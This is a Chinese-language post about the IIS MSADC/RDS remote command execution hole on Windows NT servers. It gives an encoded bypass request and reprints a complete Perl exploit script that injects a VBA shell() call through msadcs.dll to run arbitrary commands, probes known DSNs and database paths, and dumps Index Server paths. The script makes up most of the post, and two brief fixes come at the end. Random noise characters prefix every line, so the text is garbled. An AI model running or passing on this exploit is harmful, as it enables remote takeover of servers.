IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
_;]. %?[H=v(b 涉及程序:
\a6knd Microsoft NT server
atO/Tp .TTXg,8#D 描述:
KD5} Nk)t 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;/phZ$l Tp0^dZ M+ 详细:
;^j2>Azn 如果你没有时间读详细内容的话,就删除:
w;p!~o & c:\Program Files\Common Files\System\Msadc\msadcs.dll
4-: TQp( 有关的安全问题就没有了。
<_"^eF+fZ 'cx&:s 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
d;D8$q)8Q T] tG,W1>i 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
9e|]H+y 关于利用ODBC远程漏洞的描述,请参看:
4d*=gy% H,!3s<1 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ]7`)|PJ p kR+H| 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
_g(4-\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp ['SZe0 3K57xJzK 这里不再论述。
pU |SUM :>K=kZ=k 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
i$A0_ZJKjZ ? }2]G'7? /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
.WR+)^&zz 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
C?3?<FDL |hprk-R*OH 9aE!!
(E #将下面这段保存为txt文件,然后: "perl -x 文件名"
uZ-yu|1 tC=`J%Ik #!perl
prC1<rm #
Z~VSWrw3 # MSADC/RDS 'usage' (aka exploit) script
]oN:MS4r #
#UcqKq # by rain.forest.puppy
q+/c+u?=^ #
hYS*J908 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
gt9{u"o # beta test and find errors!
>!vb ;a! { L(Q|bB use Socket; use Getopt::Std;
g$\Z-!( getopts("e:vd:h:XR", \%args);
XujVOf ~
l'dpg print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
k{op ,n# "YUyM5X if (!defined $args{h} && !defined $args{R}) {
7B`,q-x. print qq~
tkFGGc}w\ Usage: msadc.pl -h <host> { -d <delay> -X -v }
.cTK\ -h <host> = host you want to scan (ip or domain)
abq$OI -d <seconds> = delay between calls, default 1 second
?t&sT -X = dump Index Server path table, if available
3%<Uq%pJ -v = verbose
5Mfs)a4j. -e = external dictionary file for step 5
s^X(G!V{c QeYO)sc` Or a -R will resume a command session
f3>8ZB4 (LW4z8e# ~; exit;}
DlkHE8r\ #OKzJ"g $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
YEZd8Y if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k\T,CZ< if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
9{?L3V!+r if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
;* vVucx $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
c$)Y$@D if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
G:f\wK[ E\V-<]o if (!defined $args{R}){ $ret = &has_msadc;
g0m6D:f die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
S4j` =<T, <MhjvHg print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#"^F:: b- . "cmd /c ";
B/S~Jn $in=<STDIN>; chomp $in;
" h,<PF $command="cmd /c " . $in ;
yub| m>C}T if (defined $args{R}) {&load; exit;}
V6.xp{[ :"+/M{qz print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
J`U\3:b`SP &try_btcustmr;
wN [mU Y}_J@&: print "\nStep 2: Trying to make our own DSN...";
MB9tnGO-Q &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
9o<}*L s)#8>s - print "\nStep 3: Trying known DSNs...";
mE3^5}[> &known_dsn;
`T H0*:aI E|ce[|2 print "\nStep 4: Trying known .mdbs...";
" gB. &known_mdb;
9Foo8e 8r^~`rL if (defined $args{e}){
/5^"n4/M print "\nStep 5: Trying dictionary of DSN names...";
W=v4dy]B &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
:DP%>H| nJJ9>#<g$ print "Sorry Charley...maybe next time?\n";
VeixwGZ. exit;
\%nFCK0 rixP[`!]x ##############################################################################
si.A"\bm ]C|Zs=5 sub sendraw { # ripped and modded from whisker
ng]jpdeA sleep($delay); # it's a DoS on the server! At least on mine...
MWv_BXQ my ($pstr)=@_;
6LUO socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
c}iVBN6~.< die("Socket problems\n");
yc.Vm[! if(connect(S,pack "SnA4x8",2,80,$target)){
UGuEZ-r select(S); $|=1;
"4c
?hH:C print $pstr; my @in=<S>;
Ue:'55 select(STDOUT); close(S);
7^|oO~x6 return @in;
F|K=]. } else { die("Can't connect...\n"); }}
rn^7B-V O>)<w
Ms` ##############################################################################
q\Cg2[nn2 Ri]7=.QI` sub make_header { # make the HTTP request
l[=7<F my $msadc=<<EOT
ncg5%(2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
(Dr g User-Agent: ACTIVEDATA
IUco
8 Host: $ip
Nx~9Ug Content-Length: $clen
|zD{]y?S- Connection: Keep-Alive
Pl_4;q!$ TRwlUC3hQ ADCClientVersion:01.06
7n*,L5%?]4 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
s`*
'JM< k9j_#\E[ --!ADM!ROX!YOUR!WORLD!
.Ap-<FB Content-Type: application/x-varg
)X{ x\
/N Content-Length: $reqlen
u.(
WW(/N :[:5^R EOT
6e,|HV ; $msadc=~s/\n/\r\n/g;
y9d[-j
;w return $msadc;}
6AeX$>k+ L/1zG/@ ##############################################################################
-<kl d+ w=EUwt sub make_req { # make the RDS request
|FZ)5 my ($switch, $p1, $p2)=@_;
/C(lQs*l my $req=""; my $t1, $t2, $query, $dsn;
Wx#((T f}q4~NPn- if ($switch==1){ # this is the btcustmr.mdb query
Zw+VcZz3 $query="Select * from Customers where City=" . make_shell();
.<zW(PW $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
3V:{_~~ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
lqFDX
d ,Y&LlB 2 elsif ($switch==2){ # this is general make table query
,i>u>YNZ $query="create table AZZ (B int, C varchar(10))";
Rd6? , $dsn="$p1";}
&7* |rshZ (_G&S~@. elsif ($switch==3){ # this is general exploit table query
IXb]\ ) $query="select * from AZZ where C=" . make_shell();
TWF6YAQm $dsn="$p1";}
z@\C/wX L><# I elsif ($switch==4){ # attempt to hork file info from index server
L/Cp\|~ O $query="select path from scope()";
4Q2=\-KFj $dsn="Provider=MSIDXS;";}
}7iWm XlI Y<('G5A elsif ($switch==5){ # bad query
&phers $query="select";
N3?hyR<T $dsn="$p1";}
SN!TE,=I s*`_Ka57]~ $t1= make_unicode($query);
>ZMB}pt` $t2= make_unicode($dsn);
4;anoqiG\ $req = "\x02\x00\x03\x00";
XWH{+c" $req.= "\x08\x00" . pack ("S1", length($t1));
Il(p!l<Xz# $req.= "\x00\x00" . $t1 ;
om%L>zfB $req.= "\x08\x00" . pack ("S1", length($t2));
);T0n $req.= "\x00\x00" . $t2 ;
C^ngdba\ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
\l^L?69 return $req;}
:^7P. lhK e?W-vi% ##############################################################################
'<N^u@tF7 4W7 sub make_shell { # this makes the shell() statement
i#/,Q1yEn return "'|shell(\"$command\")|'";}
2NS(;tBB0 Jt79M(Hp! ##############################################################################
; MU8@?yN r*#ApM"L sub make_unicode { # quick little function to convert to unicode
VC%{qal;q my ($in)=@_; my $out;
@Qw~z0PE<l for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
hdky:2^3 return $out;}
>TSPEvWc .FUws ##############################################################################
9>gxJ7pY r{y&}gA sub rdo_success { # checks for RDO return success (this is kludge)
qYD$_a my (@in) = @_; my $base=content_start(@in);
}Ruj h4* if($in[$base]=~/multipart\/mixed/){
~{Gbu oH return 1 if( $in[$base+10]=~/^\x09\x00/ );}
r!H'8O! return 0;}
u{#}Lo>B # e>yPFXSk ##############################################################################
2'O2n]{ h`O"]2 sub make_dsn { # this makes a DSN for us
<A{|=2< my @drives=("c","d","e","f");
j8k5B" print "\nMaking DSN: ";
;Du+C% foreach $drive (@drives) {
8<BYAHY^ print "$drive: ";
T:
zO9C/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
{Ju "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
[
j'L*j . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
y $,K^f $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
= MQpYX return 0 if $2 eq "404"; # not found/doesn't exist
)xJCH9h if($2 eq "200") {
SU,S1C_q8 foreach $line (@results) {
gc~nT/lfK return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
"R8: s } return 0;}
Ul"9zTH 50,`=Z ##############################################################################
[ .]x y 5%H(AaG*q sub verify_exists {
0,1x-
yD my ($page)=@_;
HEqTlnxUu my @results=sendraw("GET $page HTTP/1.0\n\n");
{wUbr ^ return $results[0];}
!O;su~7
+ucj>g1(# ##############################################################################
G- _h 2 Y"Y%JJ.J sub try_btcustmr {
W 7xh my @drives=("c","d","e","f");
G]Rb{v,r my @dirs=("winnt","winnt35","winnt351","win","windows");
'i-6JG% )OjTn" foreach $dir (@dirs) {
x`7Ch3`4} print "$dir -> "; # fun status so you can see progress
zK Rt\;PW foreach $drive (@drives) {
2~`lvx print "$drive: "; # ditto
r~mZ?dI $reqlen=length( make_req(1,$drive,$dir) ) - 28;
t:MeSO $reqlenlen=length( "$reqlen" );
@bPR"j5D $clen= 206 + $reqlenlen + $reqlen;
/j7e
q &j}08aK% my @results=sendraw(make_header() . make_req(1,$drive,$dir));
hw2'.}B"( if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
#vwK6'z else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
0tA~Y26 ?vA)F)MS ##############################################################################
@#HB6B 9jwcO)p^ sub odbc_error {
uD'yzR!]+ my (@in)=@_; my $base;
.bdp=vbA my $base = content_start(@in);
xIt' o(jQH if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Y-Iu&H+\ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}kJfTsFS $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
n ~c<[ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
_*&I[%I5 return $in[$base+4].$in[$base+5].$in[$base+6];}
&,v-AL$:Q print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
E6 g]EE print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
l=|>9,La $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
}%8 :8_Ke rcq^mPdQ ##############################################################################
}j+Af["W? EY$Dtb+g8 sub verbose {
3H^0v$S my ($in)=@_;
F747K);_ return if !$verbose;
#%Hk-a=>)# print STDOUT "\n$in\n";}
=g.R?H8cj5 'SW%EVB ##############################################################################
Ux[2 +Cf KjWF;VN*[3 sub save {
3(2WO^zX { my ($p1, $p2, $p3, $p4)=@_;
I |PEC-( open(OUT, ">rds.save") || print "Problem saving parameters...\n";
fnXYp
! print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
<x!q!; close OUT;}
(-}:'5|Yj GGM|B}U p ##############################################################################
|Do+=Gr$t@ ]et
]Vkg sub load {
$Cgl$A my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^"dVz. open(IN,"<rds.save") || die("Couldn't open rds.save\n");
I45 kPfu @p=<IN>; close(IN);
-JKl\ E $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
34*73WxK $target= inet_aton($ip) || die("inet_aton problems");
lpq)vKM}^ print "Resuming to $ip ...";
`Wl_yC_*G; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
m&PfZ%'[ if($p[1]==1) {
Ob ~7w[n3 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
]QU
9|1 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
saRYd{%+ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
MV{\:l}y if (rdo_success(@results)){print "Success!\n";}
[Xa,| else { print "failed\n"; verbose(odbc_error(@results));}}
xNrPj8V<Y elsif ($p[1]==3){
/M :7 if(run_query("$p[3]")){
jj,CBNo( print "Success!\n";} else { print "failed\n"; }}
-/V,<@@T elsif ($p[1]==4){
N!PPL"5z if(run_query($drvst . "$p[3]")){
,59G6o print "Success!\n"; } else { print "failed\n"; }}
tG7F!um( exit;}
6N49q-.Lg (HEi; ##############################################################################
3 as~yF0 u1}/SlCp sub create_table {
K N Y my ($in)=@_;
P,Z
K $reqlen=length( make_req(2,$in,"") ) - 28;
%K`th&331 $reqlenlen=length( "$reqlen" );
vw'xmzgA $clen= 206 + $reqlenlen + $reqlen;
C6?({
QB@ my @results=sendraw(make_header() . make_req(2,$in,""));
3u 'VPF2 return 1 if rdo_success(@results);
7"_m?c8 my $temp= odbc_error(@results); verbose($temp);
zb]e{$q2C return 1 if $temp=~/Table 'AZZ' already exists/;
vh$If0 return 0;}
sH'IA~7 +P &S0/ ##############################################################################
exZgk2[0 2jVvK"C sub known_dsn {
'^n,)oA/G # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
sSLVR^ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
w4Uo-zr@ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
q90
~)n? "banner", "banners", "ads", "ADCDemo", "ADCTest");
G$^u2wz. <(!~s><. foreach $dSn (@dsns) {
\N%L-%^ print ".";
Z<jC,r next if (!is_access("DSN=$dSn"));
%A3ci[$g if(create_table("DSN=$dSn")){
2/iBk'd print "$dSn successful\n";
B,q)<z6< if(run_query("DSN=$dSn")){
bhl9:`s print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
qEvbKy} print "Something's borked. Use verbose next time\n";}}} print "\n";}
u?F^gIw !b"2]Qv ##############################################################################
w
t6&N{@ aD&4C-,1 sub is_access {
/;5/7Bvj my ($in)=@_;
* lJkk $reqlen=length( make_req(5,$in,"") ) - 28;
{ v [ $reqlenlen=length( "$reqlen" );
!C& ^%a $clen= 206 + $reqlenlen + $reqlen;
`t>A~.f my @results=sendraw(make_header() . make_req(5,$in,""));
!gm@QO cF my $temp= odbc_error(@results);
h]]B@~ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
"C.cU return 0;}
)Z*nm<= N;HG@B!m ##############################################################################
zcy`8&{A<? y]okOEV0 sub run_query {
S l`F` my ($in)=@_;
F-XL $reqlen=length( make_req(3,$in,"") ) - 28;
Kr'Yz! $reqlenlen=length( "$reqlen" );
p[K!.vOt+ $clen= 206 + $reqlenlen + $reqlen;
tZ.hSDH my @results=sendraw(make_header() . make_req(3,$in,""));
z41v5rB4 return 1 if rdo_success(@results);
3s0I<cL my $temp= odbc_error(@results); verbose($temp);
~c=F$M^"c return 0;}
#Q1
|] <74r ##############################################################################
V}MRdt7 Qp;FVUw9 sub known_mdb {
Eb7GiRT# my @drives=("c","d","e","f","g");
"$n ff=] my @dirs=("winnt","winnt35","winnt351","win","windows");
nh]HEG0CZJ my $dir, $drive, $mdb;
eMLcmZJR my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&X6hOc:``\ l`Ae&nc6 # this is sparse, because I don't know of many
8Sk$o.Gy my @sysmdbs=( "\\catroot\\icatalog.mdb",
Fr_6pEH]} "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
>rYkVlv "\\system32\\certmdb.mdb",
d}2(G2z^ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
7lx]`u> rh DiIO_ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
[;Jq=G8&t "\\cfusion\\cfapps\\forums\\forums_.mdb",
6 u 1|pX8 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
4iv&!hAc; "\\cfusion\\cfapps\\security\\realm_.mdb",
zGwM# - "\\cfusion\\cfapps\\security\\data\\realm.mdb",
#l
6QE=: "\\cfusion\\database\\cfexamples.mdb",
[ <j4w "\\cfusion\\database\\cfsnippets.mdb",
Yw6uh4 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
[NK&s:wMk "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
0}"'A[xE "\\cfusion\\brighttiger\\database\\cleam.mdb",
$q##Tys "\\cfusion\\database\\smpolicy.mdb",
} 4ZWAzH "\\cfusion\\database\cypress.mdb",
IAJ+n0U "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
\b}%A&Ij "\\website\\cgi-win\\dbsample.mdb",
y
q!{\@- "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
1pz-jo,2' "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
+}
y"S - ); #these are just
(sSGJS'X foreach $drive (@drives) {
E5IS<. foreach $dir (@dirs){
61}eB/;7 foreach $mdb (@sysmdbs) {
tpa<)\7KJ print ".";
XG E.*aI if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
:W9a t print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Ri>ZupQ6 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
bs'hA@r print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
XM) } else { print "Something's borked. Use verbose next time\n"; }}}}}
5FE& VsDY,=Ww foreach $drive (@drives) {
0$_WIk foreach $mdb (@mdbs) {
h!7Lvh`o print ".";
hGcu(kAC, if(create_table($drv . $drive . $dir . $mdb)){
s &f\gp1 print "\n" . $drive . $dir . $mdb . " successful\n";
w8bvqTQ if(run_query($drv . $drive . $dir . $mdb)){
r&_e3#]* print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
(K('@W%\? } else { print "Something's borked. Use verbose next time\n"; }}}}
/z)Nz2W }
Ab8Ke|fA CY\D.Eow ##############################################################################
Mzw:c# M6j~`KSE sub hork_idx {
z<_a4ffR print "\nAttempting to dump Index Server tables...\n";
8v)iOPmDC print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
7#7AK} $reqlen=length( make_req(4,"","") ) - 28;
&@ ${@ $reqlenlen=length( "$reqlen" );
=&)R2pLs* $clen= 206 + $reqlenlen + $reqlen;
7M~/[f7Z{ my @results=sendraw2(make_header() . make_req(4,"",""));
pM~-o? if (rdo_success(@results)){
S4pEBbV^n my $max=@results; my $c; my %d;
*=P*b|P"$ for($c=19; $c<$max; $c++){
y@r0"cvz9 $results[$c]=~s/\x00//g;
J$d']%Dwb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
@p@b6iLpO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$$XeCPs0 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
"8Lv $d{"$1$2"}="";}
rN,T}M=2 foreach $c (keys %d){ print "$c\n"; }
L^=G(op* } else {print "Index server doesn't seem to be installed.\n"; }}
&(m01 Hp*N% ##############################################################################
-@XOe&q AwZz}J+ sub dsn_dict {
Ph)>;jU open(IN, "<$args{e}") || die("Can't open external dictionary\n");
7~SnY\B| while(<IN>){
e>P>DmlW $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
T!i$nI& next if (!is_access("DSN=$dSn"));
03.\!rZZ if(create_table("DSN=$dSn")){
W![~"7? print "$dSn successful\n";
\}!/z]u if(run_query("DSN=$dSn")){
aMGyV"6(-6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
HM#|&_gV print "Something's borked. Use verbose next time\n";}}}
0Bk-)z|V print "\n"; close(IN);}
viJP6fh i.^:xZ ##############################################################################
&UNQ4-s 1B@7#ozWA? sub sendraw2 { # ripped and modded from whisker
?I u=os>* sleep($delay); # it's a DoS on the server! At least on mine...
ff]fN:}V my ($pstr)=@_;
{q^UWv?1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4(,M&NC
die("Socket problems\n");
xW7[ VTXc^ if(connect(S,pack "SnA4x8",2,80,$target)){
[c
XSk print "Connected. Getting data";
j<k-w open(OUT,">raw.out"); my @in;
[
P,gEYk select(S); $|=1; print $pstr;
y#= j{ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
FV{XPr%
close(OUT); select(STDOUT); close(S); return @in;
]0g p.R } else { die("Can't connect...\n"); }}
h"[:$~/UJ IG:2<G
##############################################################################
\Yn0|j> 5~d=,;yE sub content_start { # this will take in the server headers
pK ^$^*# my (@in)=@_; my $c;
<+<Nsza for ($c=1;$c<500;$c++) {
/(?s\}O if($in[$c] =~/^\x0d\x0a/){
clk]JA ( if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
y.-Kqa~ else { return $c+1; }}}
s5V|.R return -1;} # it should never get here actually
D/=k9[b! a}iP +#; ##############################################################################
zFQm3 !. oArXP\# sub funky {
j6j4M,UI43 my (@in)=@_; my $error=odbc_error(@in);
u\"/EaQ{ if($error=~/ADO could not find the specified provider/){
`2]TPaWGh print "\nServer returned an ADO miscofiguration message\nAborting.\n";
/}
h"f5 exit;}
@>8{J6%\ if($error=~/A Handler is required/){
<8YvsJ print "\nServer has custom handler filters (they most likely are patched)\n";
ah,"c9YX exit;}
wk{]eD% if($error=~/specified Handler has denied Access/){
LB[?kpy print "\nServer has custom handler filters (they most likely are patched)\n";
`xZ,*G7(* exit;}}
|9p0"#4u ^+0>,-)F ##############################################################################
]re}EB\Rs VGc.yM)&
j sub has_msadc {
bcT'!: my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Xoha.6$l5 my $base=content_start(@results);
!R@jbM return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
m4yWhUi(o return 0;}
x0K#- i52JY&N ########################
3w"_Onwk L$rr:^J RS@[ +! :t 解决方案:
^8YBW<9 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|>1#)cONW 2、移除web 目录: /msadc